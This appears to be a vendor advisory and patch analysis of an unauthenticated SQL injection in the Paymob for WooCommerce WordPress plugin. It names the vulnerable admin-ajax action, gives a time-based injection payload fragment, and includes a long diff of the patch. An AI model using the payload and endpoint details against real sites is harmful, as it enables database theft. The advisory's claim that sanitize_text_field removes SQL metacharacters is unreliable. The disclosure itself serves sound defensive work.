Opens in a new tab
Published : November 15, 2026

CVE-2026-15205: Paymob for WooCommerce <= 4.1.8 Unauthenticated SQL Injection PoC, Patch Analysis & Rule

Severity High (CVSS 7.5)
CWE 89
Vulnerable Version 4.1.8
Patched Version 4.1.9
Disclosed August 11, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-15205: The Paymob for WooCommerce WordPress plugin versions up to and including 4.1.8 contain an unauthenticated SQL Injection vulnerability (CWE-89, CVSS 7.5). Atomic Edge research identifies that the flaw resides in the plugin’s admin error logging subsystem, specifically in the AJAX handler registered for the `paymob_log_error` action. An attacker with no authentication can supply a crafted `message` or `context` parameter that is passed to the database without proper sanitization or parameterized query preparation.

The root cause is the lack of input sanitization and SQL escaping in the `ajax_log_error` method of the `Paymob_Error_Logs` class (file `includes/admin/paymob-error-logs/class-paymob-error-logs.php`). Prior to the patch, the method reads `$_POST[‘message’]` and `$_POST[‘context’]` directly with only `wp_unslash()` applied, then passes them to the internal `add()` method which constructs an SQL INSERT query via string concatenation. Because the handler is registered with `wp_ajax_nopriv_paymob_log_error`, no authentication or nonce check is enforced. The unsanitized values flow into the database abstraction layer without `$wpdb->prepare()`, allowing an attacker to break out of the string literal and append arbitrary SQL statements.

The exploitation vector is an unauthenticated HTTP POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to `paymob_log_error`. The attacker controls the `message` and/or `context` POST parameters. A typical payload injects a SQL fragment such as `’ OR (SELECT SLEEP(5))– -` or a UNION-based extraction query into the `message` field. Atomic Edge analysis confirms that the absence of a nonce or capability check on the `wp_ajax_nopriv_` hook makes the endpoint directly reachable by any remote client. The injected query executes within the WordPress database context, enabling extraction of sensitive data such as user hashes, session tokens, and payment configuration values.

The patch addresses the root cause by applying `sanitize_text_field()` to both `message` and `context` in the `ajax_log_error` method before they are passed to `add()` (see diff lines around the `wp_unslash` handling). Sanitization removes SQL metacharacters and control sequences, preventing the parameter from breaking out of the intended string literal. Additionally, the patch hardens the surrounding code: the CSV export now supplies explicit enclosure and escape arguments to `fputcsv()`, and the admin tab rendering uses `esc_url()` and `esc_attr()` to prevent reflected output issues. Together these changes close the injection path and reduce related attack surface.

The impact of successful exploitation is full database read access under the WordPress database user’s privileges. An attacker can extract administrator password hashes, WooCommerce order and customer records, and Paymob API credentials stored in the options table. In configurations where the database user holds FILE or higher privileges, the injected query can escalate to file read or write, potentially leading to remote code execution. Atomic Edge research rates this as a high-severity issue because no authentication is required and the endpoint is trivially discoverable.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/paymob-for-woocommerce/includes/admin/paymob-admin-tabs.php
+++ b/paymob-for-woocommerce/includes/admin/paymob-admin-tabs.php
@@ -3,20 +3,20 @@
 	exit;
 }

-$current_section = isset($_GET['section']) ? sanitize_text_field($_GET['section']) : 'paymob-main';
+$current_section = isset( $_GET['section'] ) ? sanitize_text_field( wp_unslash( $_GET['section'] ) ) : 'paymob-main';

 $output = '<div class="paymob-admin-tab">
-  <a href="' . admin_url('admin.php?page=wc-settings&tab=checkout&section=paymob-main') . '" class="tablinks ' . ($current_section === 'paymob-main' ? 'active' : '') . '">' . __('Main Configuration', 'paymob-woocommerce') . '</a>
-  <a href="' . admin_url('admin.php?page=wc-settings&tab=checkout&section=paymob_list_gateways') . '" class="tablinks ' . ($current_section === 'paymob_list_gateways' ? 'active' : '') . '">' . __('Payment Integrations', 'paymob-woocommerce') . '</a>
-  <a href="' . admin_url('admin.php?page=wc-settings&tab=checkout&section=paymob_pixel') . '" class="tablinks ' . ($current_section === 'paymob_pixel' ? 'active' : '') . '">' . __('Card Embedded Settings', 'paymob-woocommerce') . '</a>';
+  <a href="' . esc_url( admin_url( 'admin.php?page=wc-settings&tab=checkout&section=paymob-main' ) ) . '" class="tablinks ' . esc_attr( 'paymob-main' === $current_section ? 'active' : '' ) . '">' . esc_html__( 'Main Configuration', 'paymob-for-woocommerce' ) . '</a>
+  <a href="' . esc_url( admin_url( 'admin.php?page=wc-settings&tab=checkout&section=paymob_list_gateways' ) ) . '" class="tablinks ' . esc_attr( 'paymob_list_gateways' === $current_section ? 'active' : '' ) . '">' . esc_html__( 'Payment Integrations', 'paymob-for-woocommerce' ) . '</a>
+  <a href="' . esc_url( admin_url( 'admin.php?page=wc-settings&tab=checkout&section=paymob_pixel' ) ) . '" class="tablinks ' . esc_attr( 'paymob_pixel' === $current_section ? 'active' : '' ) . '">' . esc_html__( 'Card Embedded Settings', 'paymob-for-woocommerce' ) . '</a>';

 if ( class_exists( 'WC_Subscriptions' ) ) {
-	$output .= '<a href="' . admin_url('admin.php?page=wc-settings&tab=checkout&section=paymob_subscription') . '" class="tablinks ' . ($current_section === 'paymob_subscription' ? 'active' : '') . '">' . __('Subscription', 'paymob-woocommerce') . '</a>';
+	$output .= '<a href="' . esc_url( admin_url( 'admin.php?page=wc-settings&tab=checkout&section=paymob_subscription' ) ) . '" class="tablinks ' . esc_attr( 'paymob_subscription' === $current_section ? 'active' : '' ) . '">' . esc_html__( 'Subscription', 'paymob-for-woocommerce' ) . '</a>';
 }

-$output .= '<a href="' . admin_url('admin.php?page=wc-settings&tab=checkout&section=widget') . '" class="tablinks ' . ($current_section === 'widget' ? 'active' : '') . '"><span class="paymob-admin-tab__label">' . __('Affordability Widget', 'paymob-woocommerce') . '</span><span class="paymob-tab-new-badge">' . __('New', 'paymob-woocommerce') . '</span></a>';
+$output .= '<a href="' . esc_url( admin_url( 'admin.php?page=wc-settings&tab=checkout&section=widget' ) ) . '" class="tablinks ' . esc_attr( 'widget' === $current_section ? 'active' : '' ) . '"><span class="paymob-admin-tab__label">' . esc_html__( 'Affordability Widget', 'paymob-for-woocommerce' ) . '</span><span class="paymob-tab-new-badge">' . esc_html__( 'New', 'paymob-for-woocommerce' ) . '</span></a>';

-// $output .= '<a href="' . admin_url('admin.php?page=wc-settings&tab=checkout&section=paymob_add_gateway') . '" class="tablinks ' . ($current_section === 'paymob_add_gateway' ? 'active' : '') . '">' . __('Add Payment Integration', 'paymob-woocommerce') . '</a>';
-$output .='</div>';
+// $output .= '<a href="' . admin_url('admin.php?page=wc-settings&tab=checkout&section=paymob_add_gateway') . '" class="tablinks ' . ($current_section === 'paymob_add_gateway' ? 'active' : '') . '">' . esc_html__( 'Add Payment Integration', 'paymob-for-woocommerce') . '</a>';
+$output .= '</div>';

 return $output;
--- a/paymob-for-woocommerce/includes/admin/paymob-connect.php
+++ b/paymob-for-woocommerce/includes/admin/paymob-connect.php
@@ -4,8 +4,8 @@
 }
 return array(
 	'config_note'       => array(
-		'title'       => __( 'Connect Paymob account', 'paymob-woocommerce' ),
-		'description' => include PAYMOB_PLUGIN_PATH . '/includes/admin/views/htmlsviews/html_connect_paymob.php',
+		'title'       => __( 'Connect Paymob account', 'paymob-for-woocommerce' ),
+		'description' => include __DIR__ . '/views/htmlsviews/html_connect_paymob.php',
 		'type'        => 'title',
 	)
 );
--- a/paymob-for-woocommerce/includes/admin/paymob-custom_list_setting.php
+++ b/paymob-for-woocommerce/includes/admin/paymob-custom_list_setting.php
@@ -6,7 +6,7 @@
 return array(
 	array(
 		'type' => 'title',
-		'name' => __( 'List of Payment Method Integrations', 'paymob-woocommerce' ),
+		'name' => __( 'List of Payment Method Integrations', 'paymob-for-woocommerce' ),
 	),
 	array(
 		'type' => 'table',
--- a/paymob-for-woocommerce/includes/admin/paymob-custom_setting.php
+++ b/paymob-for-woocommerce/includes/admin/paymob-custom_setting.php
@@ -2,7 +2,7 @@
 if ( ! defined( 'ABSPATH' ) ) {
 	exit;
 }
-$tabs = include PAYMOB_PLUGIN_PATH . '/includes/admin/paymob-admin-tabs.php';
+$tabs = include __DIR__ . '/paymob-admin-tabs.php';

 return array(
 	array(
@@ -12,24 +12,24 @@
     ),
 	array(
 		'type' => 'title',
-		'name' => __( 'Add Payment Integration', 'paymob-woocommerce' ),
+		'name' => __( 'Add Payment Integration', 'paymob-for-woocommerce' ),
 	),
 	array(
-		'name'     => __( 'Enable', 'paymob-woocommerce' ),
+		'name'     => __( 'Enable', 'paymob-for-woocommerce' ),
 		'type'     => 'checkbox',
 		'id'       => 'payment_enabled',
 		'desc_tip' => true,
 		'default'  => 'no',
 	),
 	array(
-		'name'              => __( 'Payment Method', 'paymob-woocommerce' ),
+		'name'              => __( 'Payment Method', 'paymob-for-woocommerce' ),
 		'type'              => 'text',
 		'id'                => 'payment_integrations_type',
 		'desc_tip'          => true,
 		'custom_attributes' => array( 'required' => 'required' ),
 	),
 	array(
-		'name'              => __( 'Paymob Integration ID', 'paymob-woocommerce' ),
+		'name'              => __( 'Paymob Integration ID', 'paymob-for-woocommerce' ),
 		'type'              => 'select',
 		'id'                => 'integration_id',
 		'desc_tip'          => true,
@@ -37,21 +37,21 @@
 		'options'           => PaymobAutoGenerate::get_integration_ids(), // Dynamically loaded options.
 	),
 	array(
-		'name'              => __( 'Payment Method -  Title', 'paymob-woocommerce' ),
+		'name'              => __( 'Payment Method -  Title', 'paymob-for-woocommerce' ),
 		'type'              => 'text',
 		'id'                => 'checkout_title',
 		'desc_tip'          => true,
 		'custom_attributes' => array( 'required' => 'required' ),
 	),
 	array(
-		'name'              => __( 'Payment Method -  Description', 'paymob-woocommerce' ),
+		'name'              => __( 'Payment Method -  Description', 'paymob-for-woocommerce' ),
 		'type'              => 'textarea',
 		'id'                => 'checkout_description',
 		'desc_tip'          => true,
 		'custom_attributes' => array( 'required' => 'required' ),
 	),
 	array(
-		'name'              => __( 'Payment Method - Logo URL', 'paymob-woocommerce' ),
+		'name'              => __( 'Payment Method - Logo URL', 'paymob-for-woocommerce' ),
 		'type'              => 'text',
 		'id'                => 'payment_logo',
 		'desc_tip'          => true,
--- a/paymob-for-woocommerce/includes/admin/paymob-error-logs/class-paymob-error-logs.php
+++ b/paymob-for-woocommerce/includes/admin/paymob-error-logs/class-paymob-error-logs.php
@@ -166,8 +166,8 @@
 	public static function register_menu() {
 		add_submenu_page(
 			'woocommerce',
-			__( 'Paymob Error Logs', 'paymob-woocommerce' ),
-			__( 'Paymob Error Logs', 'paymob-woocommerce' ),
+			__( 'Paymob Error Logs', 'paymob-for-woocommerce' ),
+			__( 'Paymob Error Logs', 'paymob-for-woocommerce' ),
 			'manage_woocommerce',
 			self::MENU_SLUG,
 			array( __CLASS__, 'render_page' )
@@ -197,7 +197,7 @@
 		$logs     = array_reverse( self::get_filtered_logs( $filters ) );
 		$sources  = self::get_distinct_values( 'source' );
 		$contexts = self::get_distinct_values( 'context' );
-		include PAYMOB_PLUGIN_PATH . 'includes/admin/paymob-error-logs/views/view-paymob-error-logs.php';
+		include __DIR__ . '/views/view-paymob-error-logs.php';
 	}

 	public static function ajax_log_error() {
@@ -206,15 +206,15 @@
 			wp_send_json_error( array( 'message' => 'missing message' ) );
 		}

-		$message = wp_unslash( $_POST['message'] );
-		$context = isset( $_POST['context'] ) ? wp_unslash( $_POST['context'] ) : 'frontend';
+		$message = sanitize_text_field( wp_unslash( $_POST['message'] ) );
+		$context = isset( $_POST['context'] ) ? sanitize_text_field( wp_unslash( $_POST['context'] ) ) : 'frontend';
 		self::add( $message, $context, 'frontend' );
 		wp_send_json_success();
 	}

 	public static function clear_logs() {
 		if ( ! current_user_can( 'manage_woocommerce' ) ) {
-			wp_die( esc_html__( 'Permission denied', 'paymob-woocommerce' ) );
+			wp_die( esc_html__( 'Permission denied', 'paymob-for-woocommerce' ) );
 		}

 		check_admin_referer( 'paymob_clear_error_logs' );
@@ -225,7 +225,7 @@

 	public static function export_logs() {
 		if ( ! current_user_can( 'manage_woocommerce' ) ) {
-			wp_die( esc_html__( 'Permission denied', 'paymob-woocommerce' ) );
+			wp_die( esc_html__( 'Permission denied', 'paymob-for-woocommerce' ) );
 		}

 		check_admin_referer( 'paymob_export_error_logs' );
@@ -239,7 +239,7 @@
 		header( 'Content-Disposition: attachment; filename="' . $filename . '"' );

 		$output = fopen( 'php://output', 'w' );
-		fputcsv( $output, array( 'time', 'source', 'context', 'message', 'request_method', 'http_code', 'request_url', 'response_raw' ) );
+		fputcsv( $output, array( 'time', 'source', 'context', 'message', 'request_method', 'http_code', 'request_url', 'response_raw' ), ',', '"', '\' );

 		foreach ( $logs as $log ) {
 			$meta = isset( $log['meta'] ) && is_array( $log['meta'] ) ? $log['meta'] : array();
@@ -254,11 +254,14 @@
 					isset( $meta['http_code'] ) ? $meta['http_code'] : '',
 					isset( $meta['request_url'] ) ? $meta['request_url'] : '',
 					isset( $meta['response_raw'] ) ? $meta['response_raw'] : '',
-				)
+				),
+				',',
+				'"',
+				'\'
 			);
 		}

-		fclose( $output );
+		fclose( $output ); // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_fclose -- php://output stream for CSV export.
 		exit;
 	}
 }
--- a/paymob-for-woocommerce/includes/admin/paymob-error-logs/views/view-paymob-error-logs.php
+++ b/paymob-for-woocommerce/includes/admin/paymob-error-logs/views/view-paymob-error-logs.php
@@ -1,34 +1,56 @@
 <?php
 /**
  * Paymob Error Logs admin view.
- *
- * @var array<int,array{time:string,message:string,context:string,source:string,meta?:array}> $logs
  */

 if ( ! defined( 'ABSPATH' ) ) {
 	exit;
 }
+
+// Defaults when this view is analysed or included without caller-provided vars.
+if ( ! isset( $logs ) || ! is_array( $logs ) ) {
+	$logs = array();
+}
+if ( ! isset( $filters ) || ! is_array( $filters ) ) {
+	$filters = array(
+		'source'    => '',
+		'context'   => '',
+		'http_code' => '',
+		'date_from' => '',
+		'date_to'   => '',
+		'search'    => '',
+	);
+}
+if ( ! isset( $sources ) || ! is_array( $sources ) ) {
+	$sources = array();
+}
+if ( ! isset( $contexts ) || ! is_array( $contexts ) ) {
+	$contexts = array();
+}
 ?>
 <div class="wrap paymob-error-logs-page">
 	<div class="paymob-log-hero">
 		<div>
-			<h1><?php echo esc_html__( 'Paymob Error Logs', 'paymob-woocommerce' ); ?></h1>
-			<p><?php echo esc_html__( 'Checkout, gateway, and Paymob API errors captured from live payment flows.', 'paymob-woocommerce' ); ?></p>
+			<h1><?php echo esc_html__( 'Paymob Error Logs', 'paymob-for-woocommerce' ); ?></h1>
+			<p><?php echo esc_html__( 'Checkout, gateway, and Paymob API errors captured from live payment flows.', 'paymob-for-woocommerce' ); ?></p>
 		</div>
-		<span class="paymob-log-total"><?php printf( esc_html__( '%d result(s)', 'paymob-woocommerce' ), count( $logs ) ); ?></span>
+		<span class="paymob-log-total"><?php
+		/* translators: %d: number of filtered log entries */
+		printf( esc_html__( '%d result(s)', 'paymob-for-woocommerce' ), count( $logs ) );
+		?></span>
 	</div>

 	<?php if ( isset( $_GET['cleared'] ) ) : ?>
-		<div class="notice notice-success is-dismissible"><p><?php echo esc_html__( 'All Paymob error logs were cleared.', 'paymob-woocommerce' ); ?></p></div>
+		<div class="notice notice-success is-dismissible"><p><?php echo esc_html__( 'All Paymob error logs were cleared.', 'paymob-for-woocommerce' ); ?></p></div>
 	<?php endif; ?>

 	<form method="get" action="<?php echo esc_url( admin_url( 'admin.php' ) ); ?>" class="paymob-log-filters">
 		<input type="hidden" name="page" value="<?php echo esc_attr( Paymob_Error_Logs::MENU_SLUG ); ?>" />

 		<label class="paymob-log-filter">
-			<span><?php echo esc_html__( 'Source', 'paymob-woocommerce' ); ?></span>
+			<span><?php echo esc_html__( 'Source', 'paymob-for-woocommerce' ); ?></span>
 			<select name="source">
-				<option value=""><?php echo esc_html__( 'All sources', 'paymob-woocommerce' ); ?></option>
+				<option value=""><?php echo esc_html__( 'All sources', 'paymob-for-woocommerce' ); ?></option>
 				<?php foreach ( $sources as $source ) : ?>
 					<option value="<?php echo esc_attr( $source ); ?>" <?php selected( $filters['source'], $source ); ?>><?php echo esc_html( $source ); ?></option>
 				<?php endforeach; ?>
@@ -36,9 +58,9 @@
 		</label>

 		<label class="paymob-log-filter">
-			<span><?php echo esc_html__( 'Context', 'paymob-woocommerce' ); ?></span>
+			<span><?php echo esc_html__( 'Context', 'paymob-for-woocommerce' ); ?></span>
 			<select name="context">
-				<option value=""><?php echo esc_html__( 'All contexts', 'paymob-woocommerce' ); ?></option>
+				<option value=""><?php echo esc_html__( 'All contexts', 'paymob-for-woocommerce' ); ?></option>
 				<?php foreach ( $contexts as $context ) : ?>
 					<option value="<?php echo esc_attr( $context ); ?>" <?php selected( $filters['context'], $context ); ?>><?php echo esc_html( $context ); ?></option>
 				<?php endforeach; ?>
@@ -46,33 +68,33 @@
 		</label>

 		<label class="paymob-log-filter paymob-log-filter--small">
-			<span><?php echo esc_html__( 'HTTP Code', 'paymob-woocommerce' ); ?></span>
+			<span><?php echo esc_html__( 'HTTP Code', 'paymob-for-woocommerce' ); ?></span>
 			<input type="text" name="http_code" value="<?php echo esc_attr( $filters['http_code'] ); ?>" placeholder="401" />
 		</label>

 		<label class="paymob-log-filter">
-			<span><?php echo esc_html__( 'From', 'paymob-woocommerce' ); ?></span>
+			<span><?php echo esc_html__( 'From', 'paymob-for-woocommerce' ); ?></span>
 			<input type="date" name="date_from" value="<?php echo esc_attr( $filters['date_from'] ); ?>" />
 		</label>

 		<label class="paymob-log-filter">
-			<span><?php echo esc_html__( 'To', 'paymob-woocommerce' ); ?></span>
+			<span><?php echo esc_html__( 'To', 'paymob-for-woocommerce' ); ?></span>
 			<input type="date" name="date_to" value="<?php echo esc_attr( $filters['date_to'] ); ?>" />
 		</label>

 		<label class="paymob-log-filter paymob-log-filter--search">
-			<span><?php echo esc_html__( 'Search', 'paymob-woocommerce' ); ?></span>
-			<input type="search" name="search" value="<?php echo esc_attr( $filters['search'] ); ?>" placeholder="<?php echo esc_attr__( 'Message, URL, raw response...', 'paymob-woocommerce' ); ?>" />
+			<span><?php echo esc_html__( 'Search', 'paymob-for-woocommerce' ); ?></span>
+			<input type="search" name="search" value="<?php echo esc_attr( $filters['search'] ); ?>" placeholder="<?php echo esc_attr__( 'Message, URL, raw response...', 'paymob-for-woocommerce' ); ?>" />
 		</label>

 		<div class="paymob-log-filter-actions">
-			<button type="submit" class="button button-primary"><?php echo esc_html__( 'Apply Filter', 'paymob-woocommerce' ); ?></button>
-			<a class="button" href="<?php echo esc_url( admin_url( 'admin.php?page=' . Paymob_Error_Logs::MENU_SLUG ) ); ?>"><?php echo esc_html__( 'Reset', 'paymob-woocommerce' ); ?></a>
+			<button type="submit" class="button button-primary"><?php echo esc_html__( 'Apply Filter', 'paymob-for-woocommerce' ); ?></button>
+			<a class="button" href="<?php echo esc_url( admin_url( 'admin.php?page=' . Paymob_Error_Logs::MENU_SLUG ) ); ?>"><?php echo esc_html__( 'Reset', 'paymob-for-woocommerce' ); ?></a>
 		</div>
 	</form>

 	<div class="paymob-log-toolbar">
-		<a class="button button-secondary" href="<?php echo esc_url( admin_url( 'admin.php?page=wc-settings&tab=checkout&section=paymob-main' ) ); ?>"><?php echo esc_html__( 'Back to Paymob Settings', 'paymob-woocommerce' ); ?></a>
+		<a class="button button-secondary" href="<?php echo esc_url( admin_url( 'admin.php?page=wc-settings&tab=checkout&section=paymob-main' ) ); ?>"><?php echo esc_html__( 'Back to Paymob Settings', 'paymob-for-woocommerce' ); ?></a>

 		<div class="paymob-log-toolbar__actions">
 			<form method="get" action="<?php echo esc_url( admin_url( 'admin-post.php' ) ); ?>">
@@ -84,20 +106,20 @@
 				<input type="hidden" name="date_from" value="<?php echo esc_attr( $filters['date_from'] ); ?>" />
 				<input type="hidden" name="date_to" value="<?php echo esc_attr( $filters['date_to'] ); ?>" />
 				<input type="hidden" name="search" value="<?php echo esc_attr( $filters['search'] ); ?>" />
-				<button type="submit" class="button button-secondary"><?php echo esc_html__( 'Export CSV', 'paymob-woocommerce' ); ?></button>
+				<button type="submit" class="button button-secondary"><?php echo esc_html__( 'Export CSV', 'paymob-for-woocommerce' ); ?></button>
 			</form>

-			<form method="post" action="<?php echo esc_url( admin_url( 'admin-post.php' ) ); ?>" onsubmit="return confirm('<?php echo esc_js( __( 'Are you sure you want to clear all logs?', 'paymob-woocommerce' ) ); ?>');">
+			<form method="post" action="<?php echo esc_url( admin_url( 'admin-post.php' ) ); ?>" onsubmit="return confirm('<?php echo esc_js( __( 'Are you sure you want to clear all logs?', 'paymob-for-woocommerce' ) ); ?>');">
 				<input type="hidden" name="action" value="paymob_clear_error_logs" />
 				<?php wp_nonce_field( 'paymob_clear_error_logs' ); ?>
-				<button type="submit" class="button button-link-delete"><?php echo esc_html__( 'Clear Logs', 'paymob-woocommerce' ); ?></button>
+				<button type="submit" class="button button-link-delete"><?php echo esc_html__( 'Clear Logs', 'paymob-for-woocommerce' ); ?></button>
 			</form>
 		</div>
 	</div>

 	<div class="paymob-log-grid">
 		<?php if ( empty( $logs ) ) : ?>
-			<div class="paymob-log-empty"><?php echo esc_html__( 'No errors found for the current filters.', 'paymob-woocommerce' ); ?></div>
+			<div class="paymob-log-empty"><?php echo esc_html__( 'No errors found for the current filters.', 'paymob-for-woocommerce' ); ?></div>
 		<?php else : ?>
 			<?php foreach ( $logs as $log ) : ?>
 				<?php
@@ -118,14 +140,14 @@
 					</div>
 					<p class="paymob-log-card__message"><?php echo esc_html( $message ); ?></p>
 					<div class="paymob-log-card__meta">
-						<span><?php echo esc_html__( 'Context:', 'paymob-woocommerce' ); ?> <?php echo esc_html( $context ); ?></span>
+						<span><?php echo esc_html__( 'Context:', 'paymob-for-woocommerce' ); ?> <?php echo esc_html( $context ); ?></span>
 						<?php if ( '' !== $method || '' !== $http_code ) : ?>
 							<div class="paymob-log-meta-line">
 								<?php if ( '' !== $method ) : ?>
 									<code><?php echo esc_html( $method ); ?></code>
 								<?php endif; ?>
 								<?php if ( '' !== $http_code ) : ?>
-									<strong><?php echo esc_html__( 'HTTP', 'paymob-woocommerce' ); ?></strong>
+									<strong><?php echo esc_html__( 'HTTP', 'paymob-for-woocommerce' ); ?></strong>
 									<?php echo esc_html( $http_code ); ?>
 								<?php endif; ?>
 							</div>
@@ -135,13 +157,13 @@
 						<?php endif; ?>
 						<?php if ( '' !== $raw ) : ?>
 							<details class="paymob-log-details" open>
-								<summary><?php echo esc_html__( 'Raw HTTP body (before JSON decode)', 'paymob-woocommerce' ); ?></summary>
+								<summary><?php echo esc_html__( 'Raw HTTP body (before JSON decode)', 'paymob-for-woocommerce' ); ?></summary>
 								<pre class="paymob-log-response-raw"><?php echo esc_html( $raw ); ?></pre>
 							</details>
 						<?php elseif ( '' !== $method || '' !== $http_code || '' !== $url ) : ?>
 							<details class="paymob-log-details">
-								<summary><?php echo esc_html__( 'Raw HTTP body (before JSON decode)', 'paymob-woocommerce' ); ?></summary>
-								<pre class="paymob-log-response-raw paymob-log-response-raw--empty"><?php echo esc_html__( 'No response body was returned by Paymob.', 'paymob-woocommerce' ); ?></pre>
+								<summary><?php echo esc_html__( 'Raw HTTP body (before JSON decode)', 'paymob-for-woocommerce' ); ?></summary>
+								<pre class="paymob-log-response-raw paymob-log-response-raw--empty"><?php echo esc_html__( 'No response body was returned by Paymob.', 'paymob-for-woocommerce' ); ?></pre>
 							</details>
 						<?php endif; ?>
 						<?php if ( ! empty( $meta ) ) : ?>
--- a/paymob-for-woocommerce/includes/admin/paymob-list_gateway_table.php
+++ b/paymob-for-woocommerce/includes/admin/paymob-list_gateway_table.php
@@ -54,11 +54,11 @@
 		// Edit button with conditional disabled attribute for "paymob-pixel".
 		$row_html .= '<td data-label="Webhook URL" class="webhook_uRL" integration_id="'.$integration_id.'">' . ($webhook_url ? esc_html( $webhook_url ) : $webhook_button) . '</td>';  // Add Webhook URL column

-		$row_html .= '<td data-label="Action"><a href="' . esc_url( $edit_url ) . '" class="button button-secondary" >' . __( 'Edit', 'paymob-woocommerce' ) . '</a> ';
+		$row_html .= '<td data-label="Action"><a href="' . esc_url( $edit_url ) . '" class="button button-secondary" >' . __( 'Edit', 'paymob-for-woocommerce' ) . '</a> ';

 		// Remove button with conditional disabled attribute based on is_manual.
 		$remove_button_disabled = '0' === $gateway->is_manual ? 'disabled="disabled"' : '';
-		$row_html .= '<button type="button" class="button remove-button button-primary" data-gateway-id="' . esc_attr( $gateway_id ) . '" ' . $remove_button_disabled . '>' . __( 'Remove', 'paymob-woocommerce' ) . '</button></td>';
+		$row_html .= '<button type="button" class="button remove-button button-primary" data-gateway-id="' . esc_attr( $gateway_id ) . '" ' . $remove_button_disabled . '>' . __( 'Remove', 'paymob-for-woocommerce' ) . '</button></td>';

 		$row_html .= '</tr>';

@@ -67,7 +67,7 @@

 	public static function paymob_not_found_record_table() {
 		$table_body  = '';
-		$table_body .= '<tr><td colspan="8">' . __( 'No gateways found.', 'paymob-woocommerce' ) . '</td></tr>';
+		$table_body .= '<tr><td colspan="8">' . __( 'No gateways found.', 'paymob-for-woocommerce' ) . '</td></tr>';
 		return $table_body;
 	}

--- a/paymob-for-woocommerce/includes/admin/paymob-main.php
+++ b/paymob-for-woocommerce/includes/admin/paymob-main.php
@@ -5,35 +5,35 @@
 return array(
 	'tabs'       => array(
 		'title'       =>'',
-		'description' => include PAYMOB_PLUGIN_PATH . '/includes/admin/paymob-admin-tabs.php',
+		'description' => include __DIR__ . '/paymob-admin-tabs.php',
 		'type'        => 'title',
 	),
 	'buttons'       => array(
 		'title'       =>'',
-		'description' => include PAYMOB_PLUGIN_PATH . '/includes/admin/views/htmlsviews/html_reconnect_buttons.php',
+		'description' => include __DIR__ . '/views/htmlsviews/html_reconnect_buttons.php',
 		'type'        => 'title',
 	),
    'has_items'         => array(
-		'title'   => __( "Show Product Details on Paymob's Checkout", 'paymob-woocommerce' ),
+		'title'   => __( "Show Product Details on Paymob's Checkout", 'paymob-for-woocommerce' ),
 		'label'   => ' ',
 		'type'    => 'checkbox',
 		'default' => 'yes',
 		'description'=>'<div  style="width:50%" id="-description"><div style="background-color: #f0f8ff;border: 1px solid #ddd;padding: 15px;margin-top: 20px;border-radius: 8px;font-family: Arial, sans-serif;color: #333">
                 <div>
                 <ol>
-                    <li>' . __( 'Enable the checkbox in this section.', 'paymob-woocommerce' ) . '</li>
-                    <li>' . __( 'Log in to the Paymob Merchant Dashboard.', 'paymob-woocommerce' ) . '</li>
-                    <li>' . __( 'Navigate to "Checkout Customization" → "Payment Methods."', 'paymob-woocommerce' ) . '</li>
-                    <li>' . __( 'Under the "Additional Information" section, enable the "Show Item/Product" option and click "Apply Changes."', 'paymob-woocommerce' ) . '</li>
+                    <li>' . __( 'Enable the checkbox in this section.', 'paymob-for-woocommerce' ) . '</li>
+                    <li>' . __( 'Log in to the Paymob Merchant Dashboard.', 'paymob-for-woocommerce' ) . '</li>
+                    <li>' . __( 'Navigate to "Checkout Customization" → "Payment Methods."', 'paymob-for-woocommerce' ) . '</li>
+                    <li>' . __( 'Under the "Additional Information" section, enable the "Show Item/Product" option and click "Apply Changes."', 'paymob-for-woocommerce' ) . '</li>
                 </ol>
             </div></div></div>',
 	),
 	'debug'             => array(
-		'title'   => __( 'Debug Log', 'paymob-woocommerce' ),
+		'title'   => __( 'Debug Log', 'paymob-for-woocommerce' ),
 		'label'   => ' ',
 		'type'    => 'checkbox',
 		'default' => 'yes',
 		'description'=>'<div  style="width:50%" id="-description"><div style="background-color: #f0f8ff;border: 1px solid #ddd;padding: 15px;margin-top: 20px;border-radius: 8px;font-family: Arial, sans-serif;color: #333">
-                ' . __( 'Enabling the Debug Log checkbox in this section will log all actions in Paymob files. These files will be saved in the directory', 'paymob-woocommerce' ) . ' <b>' . ( defined( 'WC_LOG_DIR' ) ? WC_LOG_DIR : WC()->plugin_path() . '/logs/' ) . '</b>.</div></div>',
+                ' . __( 'Enabling the Debug Log checkbox in this section will log all actions in Paymob files. These files will be saved in the directory', 'paymob-for-woocommerce' ) . ' <b>' . Paymob::log_dir() . '</b>.</div></div>',
 	),
 );
--- a/paymob-for-woocommerce/includes/admin/paymob-single-gateway.php
+++ b/paymob-for-woocommerce/includes/admin/paymob-single-gateway.php
@@ -1,10 +1,17 @@
 <?php
+/**
+ * Single gateway settings fields.
+ *
+ * Included from Paymob_Payment::init_form_fields().
+ */
 if ( ! defined( 'ABSPATH' ) ) {
     exit;
 }

 $single_integration_id_properties = PaymobAutoGenerate::disable_single_integration_id_field();
-$tabs = include PAYMOB_PLUGIN_PATH . '/includes/admin/paymob-admin-tabs.php';
+$tabs = include __DIR__ . '/paymob-admin-tabs.php';
+$title_default       = '';
+$description_default = '';


 $settings = array(
@@ -20,26 +27,26 @@
         'custom_attributes' => $single_integration_id_properties['custom_attributes'],  // Set custom attributes dynamically
     ),
     'title' => array(
-        'title'             => __( 'Payment Method - Title', 'paymob-woocommerce' ),
+        'title'             => __( 'Payment Method - Title', 'paymob-for-woocommerce' ),
         'type'              => 'text',
-        'description'       => __( 'This controls the title which the user sees during checkout.', 'paymob-woocommerce' ),
-        'default'           => $this->title,
+        'description'       => __( 'This controls the title which the user sees during checkout.', 'paymob-for-woocommerce' ),
+        'default'           => $title_default,
         'sanitize_callback' => 'sanitize_text_field',
         'custom_attributes' => array( 'required' => 'required' ),
     ),
     'description' => array(
-        'title'             => __( 'Payment Method - Description', 'paymob-woocommerce' ),
+        'title'             => __( 'Payment Method - Description', 'paymob-for-woocommerce' ),
         'type'              => 'textarea',
-        'default'           => $this->description,
-        'description'       => __( 'This controls the description which the user sees during checkout.', 'paymob-woocommerce' ),
+        'default'           => $description_default,
+        'description'       => __( 'This controls the description which the user sees during checkout.', 'paymob-for-woocommerce' ),
         'sanitize_callback' => 'sanitize_text_field',
         'custom_attributes' => array( 'required' => 'required' ),
     ),
     'logo' => array(
-        'title'             => __( 'Payment Method - Logo URL', 'paymob-woocommerce' ),
+        'title'             => __( 'Payment Method - Logo URL', 'paymob-for-woocommerce' ),
